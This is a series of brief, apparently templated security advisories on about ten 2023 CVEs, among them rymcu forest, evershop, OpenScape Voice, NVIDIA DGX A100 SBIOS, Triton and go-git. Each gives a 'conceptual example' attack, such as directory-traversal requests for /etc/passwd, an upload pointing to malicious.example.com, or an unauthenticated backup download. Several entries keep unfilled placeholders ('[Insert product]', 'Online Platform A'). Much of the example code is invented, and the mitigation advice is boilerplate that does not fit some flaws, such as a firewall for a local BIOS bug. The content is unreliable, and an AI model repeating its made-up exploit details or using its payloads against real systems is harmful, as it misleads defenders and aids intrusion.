Author: Ameeba

Overview

This report discusses a significant vulnerability, CVE-2023-51804, detected in the rymcu forest software, version 0.02. This vulnerability allows remote attackers to obtain sensitive information through the manipulation of the HTTP body URL. It affects users and organizations utilizing rymcu forest v.0.02 and it matters due to its potential to cause system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2023-51804
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

rymcu forest | v.0.02

How the Exploit Works

This vulnerability exploits a flaw in the com.rymcu.forest.web.api.common.UploadController file of rymcu forest v.0.02. It permits a remote attacker to manipulate the HTTP body URL, thereby gaining unauthorized access to sensitive data. This vulnerability doesn’t require any user interaction or special privileges, making it a significant threat that can be exploited easily.

Conceptual Example Code

The vulnerability might be exploited using a malicious HTTP request similar to the following:

POST /api/common/upload HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "url": "http://malicious.example.com/data-leak" }

In this hypothetical example, the attacker manipulates the URL in the HTTP body of the post request to point towards a malicious server, thereby potentially gaining access to sensitive data transferred during the upload process.

Mitigation Guidance

Affected users and organizations should apply the vendor’s patch as soon as it becomes available to mitigate this vulnerability. In the interim, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure to detect and block attempts to exploit this vulnerability.

Overview

The cybersecurity community has recently identified a significant vulnerability, CVE-2023-46942, in the NPM package @evershop/evershop before version 1.0.0-rc.8. This vulnerability can lead to unauthorized access to sensitive information by remote attackers. It is of critical importance due to the potential for system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2023-46942
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to sensitive information, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

NPM’s @evershop/evershop | Before 1.0.0-rc.8

How the Exploit Works

The vulnerability arises from the lack of authentication in certain GraphQL endpoints in the NPM package. This allows remote attackers to gain unauthorized access to these endpoints and obtain sensitive information. Attackers can exploit this vulnerability by sending specially crafted requests to these vulnerable endpoints.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP POST request to a vulnerable GraphQL endpoint:

POST /graphql HTTP/1.1
Host: target.example.com
Content-Type: application/graphql
{
"query": "{ sensitiveInformation { ... } }"
}

In this conceptual example, the attacker sends a malicious GraphQL query requesting sensitive information from the server. Due to the lack of proper authentication, the server might return the requested sensitive data.

Mitigation and Patching

To mitigate this vulnerability, users are advised to update the @evershop/evershop package to version 1.0.0-rc.8 or later, where the issue has been fixed. Until the patch can be applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to detect and block exploit attempts.

Overview

This report addresses a significant cybersecurity vulnerability – CVE-2023-48166, which impacts the Atos Unify OpenScape Voice V10 systems. This vulnerability, if left unpatched, poses a considerable risk by potentially enabling an unauthenticated attacker to view and compromise sensitive files within the local file system. This could lead to data leakage or an all-out system compromise.

Vulnerability Summary

CVE ID: CVE-2023-48166
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Atos Unify OpenScape Voice V10 | Before V10R3.26.1

How the Exploit Works

The vulnerability lies in the SOAP Server integrated within the Atos Unify OpenScape Voice V10. An attacker can exploit this vulnerability by performing a directory traversal attack to gain access to arbitrary files in the local file system. This access can facilitate the viewing of sensitive files and potentially compromise the underlying system.

Conceptual Example Code

Here’s a conceptual example of a maliciously crafted HTTP request, which could potentially exploit this vulnerability:

GET /../../../../etc/passwd HTTP/1.1
Host: vulnerable-server.com

The above request attempts to traverse directories in an attempt to access the “/etc/passwd” file, which contains sensitive user account information.

Mitigation Guidance

To mitigate the risk associated with CVE-2023-48166, it is recommended that users apply the latest patch provided by the vendor (V10R3.26.1 or later). In the absence of an available patch, users may employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation method. However, this should not replace the need for applying the vendor patch once it’s available.

Overview

This report provides a detailed analysis of CVE-2023-31035, a significant vulnerability detected in NVIDIA’s DGX A100 SBIOS. This vulnerability exposes systems to potential compromise and data leakage, highlighting the importance of immediate action for mitigation. The implications of this vulnerability are severe, and it is critical for users of the affected NVIDIA products to understand the threat and take appropriate preventive measures.

Vulnerability Summary

CVE ID: CVE-2023-31035
Severity: High (7.5 CVSS)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise, denial of service, escalation of privileges, and data leakage.

Affected Products

Product | Affected Versions

NVIDIA DGX A100 SBIOS | All versions prior to update

How the Exploit Works

The vulnerability lies within the NVIDIA DGX A100 SBIOS, where an attacker can trigger an SMI callout vulnerability. This vulnerability can be exploited to execute arbitrary code at the System Management Mode (SMM) level. Successfully exploiting this vulnerability could lead to system compromise, denial of service, escalation of privileges, and information disclosure.

Conceptual Example Code

The following is a conceptual code example illustrating how an attacker might exploit this vulnerability. Please note that this is a simplified example and does not represent a real exploit.

# Attacker sends a specially crafted SMI request
smi_request --callout "malicious_code"

The attacker uses a specially crafted SMI request to trigger the vulnerability and execute malicious code in the SMM.

Mitigation Guidance

Until a patch is made available by NVIDIA, users are recommended to deploy a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. Once the official patch is released, it should be applied immediately to all affected systems. Regular patching and updating of systems is a critical component of maintaining cybersecurity.

Overview

A critical vulnerability (CVE-2023-31032) has been identified in NVIDIA’s DGX A100 SBIOS. This vulnerability could potentially lead to a denial of service (DoS) attack if successfully exploited. Affected systems could experience system compromise or data leakage, posing a significant risk to organizations using these systems. The issue is of paramount importance due to the high severity score of 7.5 and the potential for significant operational disruption.

Vulnerability Summary

CVE ID: CVE-2023-31032
Severity: High (7.5 CVSS)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

NVIDIA DGX A100 SBIOS | All versions prior to the patch

How the Exploit Works

In the case of CVE-2023-31032, the vulnerability lies within the design of the NVIDIA DGX A100 SBIOS. An attacker with local access could trigger a dynamic variable evaluation. This could be done via malicious scripts or software that manipulates the SBIOS environment variables. If successful, it would cause the system to crash, leading to a denial of service.

Conceptual Example Code

While a specific exploit method isn’t detailed, a conceptual example of a similar vulnerability might look like this:

#!/bin/bash
# Exploit for CVE-2023-31032
# This is a conceptual example and may not work as is.
export MALICIOUS_VARIABLE=$(command_or_script_that_crashes_system)
sbios_command_requiring_variable_evaluation

This script sets a malicious environment variable that, when evaluated, executes a command or script that crashes the system. The next line triggers a SBIOS command that requires variable evaluation, thereby exploiting the vulnerability.

Mitigation Guidance

NVIDIA has released a patch to address this vulnerability. Users are strongly advised to apply this patch as soon as possible to mitigate the risk. As a temporary measure, users may also employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent exploitation attempts. However, these measures are not substitutes for applying the patch and should only be used as interim solutions until the patch can be applied.

Overview

CVE-2023-31036 is a severe vulnerability discovered in NVIDIA Triton Inference Server for Linux and Windows that may lead to a potential system compromise or data leakage. The security flaw allows an attacker, using a specific command line option, to exploit a relative path traversal vulnerability. This vulnerability is of significant concern as it affects a wide range of NVIDIA Triton Inference Server versions and can lead to serious outcomes such as code execution, denial of service, privilege escalation, information disclosure, and data tampering.

Vulnerability Summary

CVE ID: CVE-2023-31036
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Successful exploitation may lead to code execution, denial of service, privilege escalation, information disclosure, and data tampering.

Affected Products

Product | Affected Versions

NVIDIA Triton Inference Server for Linux | All versions prior to patch
NVIDIA Triton Inference Server for Windows | All versions prior to patch

How the Exploit Works

The exploit works when the NVIDIA Triton Inference Server is launched with the non-default command-line option –model-control explicit. This allows an attacker to use the model load API to instigate a relative path traversal. The attacker can manipulate the file path input to access, modify, or execute files outside of the intended directory.

Conceptual Example Code

Here is a conceptual example of how this vulnerability could be exploited. This is a HTTP request that uses the model load API to load a malicious model from a location outside of the intended directory.

POST /v1/models/load HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"model_name": "../../../etc/passwd",
"version": "1.0"
}

In this example, the relative path traversal is used to upload a model file that points to a system file outside the intended directory, potentially leading to information disclosure or unauthorized code execution.

Overview

CVE-2023-49261 is a severe vulnerability that exposes the “tokenKey” value used in user authorization in the HTML source of the login page. This exposure puts systems and their data at high risk as it could potentially lead to system compromise or data leakage. This vulnerability can affect any online platform or system that uses the exposed “tokenKey” value for user authorization.

Vulnerability Summary

CVE ID: CVE-2023-49261
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Online Platform A | All versions
Online System B | Versions 3.0 and below

How the Exploit Works

The exploit works by taking advantage of the “tokenKey” value exposure in the HTML source code of the login page. An attacker can view the HTML source code, find the exposed “tokenKey” value, and use it to bypass the user authorization process. This could allow the attacker to gain unauthorized access to the system and its data.

Conceptual Example Code

Given the nature of the vulnerability, an attacker might exploit it using an HTTP request like the following:

GET /login.html HTTP/1.1
Host: target.example.com
<!-- The attacker then locates the "tokenKey" value in the HTML source code of the login page -->
POST /auth/login HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "tokenKey": "exposed_token_key_value" }

Please note that this is a conceptual example and the actual exploit could vary depending on the specific implementation of the affected system.

Overview

A critical vulnerability identified as CVE-2023-49259 has been discovered that primarily affects authentication cookie generation mechanisms in certain applications. This flaw emerges from a faulty algorithm that combines the username, a hardcoded secret, and the system uptime. Given a reasonable amount of time, malicious actors could exploit this vulnerability to guess the authentication cookies. If left unchecked, this flaw could compromise systems and lead to data leakage, posing a significant risk to all affected products.

Vulnerability Summary

CVE ID: CVE-2023-49259
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

[Insert product] | [Insert affected version]
[Insert product] | [Insert affected version]

How the Exploit Works

The exploit leverages the predictability of the algorithm that generates authentication cookies. By combining the username, a hardcoded secret, and the system uptime, this algorithm generates cookies that can be guessed over a reasonable period. An attacker can exploit this vulnerability by predicting the authentication cookies, thereby gaining unauthorized access to the system. Once inside, they can compromise the system or leak sensitive data.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

GET /predictable_cookie/endpoint HTTP/1.1
Host: target.example.com
Cookie: username="test"; secret="hardcoded_secret"; uptime="12345";

In this example, an attacker sends a GET request to the vulnerable endpoint with a predicted cookie. If the guess is correct, the server will grant them unauthorized access to the system.

Mitigation Guidance

To mitigate this vulnerability, it is recommended to apply vendor patches as soon as they become available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can monitor network traffic for suspicious activities and block or alert administrators of any potential threats.

Overview

CVE-2023-49256 is a critical vulnerability that allows attackers to download the configuration backup without any authorization. This flaw can also potentially allow the decryption of included passwords using a hardcoded static key. This vulnerability poses a significant threat to system security and data integrity, as it can result in unauthorized access, system compromise, or data leakage.

Vulnerability Summary

CVE ID: CVE-2023-49256
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

[Insert product] | [Insert affected version]
[Insert product] | [Insert affected version]

How the Exploit Works

The vulnerability arises from a flaw in the system that allows an unauthorized user to download the configuration backup. The system fails to properly validate and authenticate the user before allowing access to the configuration backup. This leads to unauthorized access and potential compromise of the system. Furthermore, the system uses a hardcoded static key for encryption, which can be exploited to decrypt passwords included in the configuration backup.

Conceptual Example Code

The following is a conceptual example of how this vulnerability could be exploited:

GET /config/backup HTTP/1.1
Host: target.example.com

In the above request, an attacker could simply send a GET request to the backup endpoint of the vulnerable system. Since the system does not properly validate or authenticate the user before providing access to the configuration backup, the attacker can download it without authorization. Once the backup is obtained, the attacker can then use the hardcoded static key to decrypt any passwords included in the backup.

Overview

This report provides an in-depth analysis of a significant vulnerability identified as CVE-2023-49568. This vulnerability primarily affects applications using go-git versions prior to v5.11, making them susceptible to Denial of Service (DoS) attacks. It is crucial to understand and address this vulnerability promptly due to its potential to compromise systems and lead to data leakage.

Vulnerability Summary

CVE ID: CVE-2023-49568
Severity: High, CVSS Score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, potential system compromise or data leakage

Affected Products

Product | Affected Versions

go-git | Prior to v5.11

How the Exploit Works

The vulnerability involves the ability for an attacker to provide specially crafted responses from a Git server, which triggers resource exhaustion in go-git clients. This is primarily a go-git implementation issue and does not affect the upstream git cli. Applications using only the in-memory filesystem supported by go-git are not affected by this vulnerability.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability. This pseudocode demonstrates a malicious payload sent from a Git server to a go-git client, leading to resource exhaustion.

class MaliciousServer:
def craft_response(self):
# Craft a response that triggers resource exhaustion in go-git clients
response = {
"resource": "overload",
}
return response
class VulnerableClient:
def process_response(self, response):
# Processing this response leads to resource exhaustion
process(response)

Please note that this is a simplified conceptual example and the actual code may vary significantly.

Recommendations for Mitigation

To mitigate this vulnerability, apply the vendor patch as soon as it is available. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure.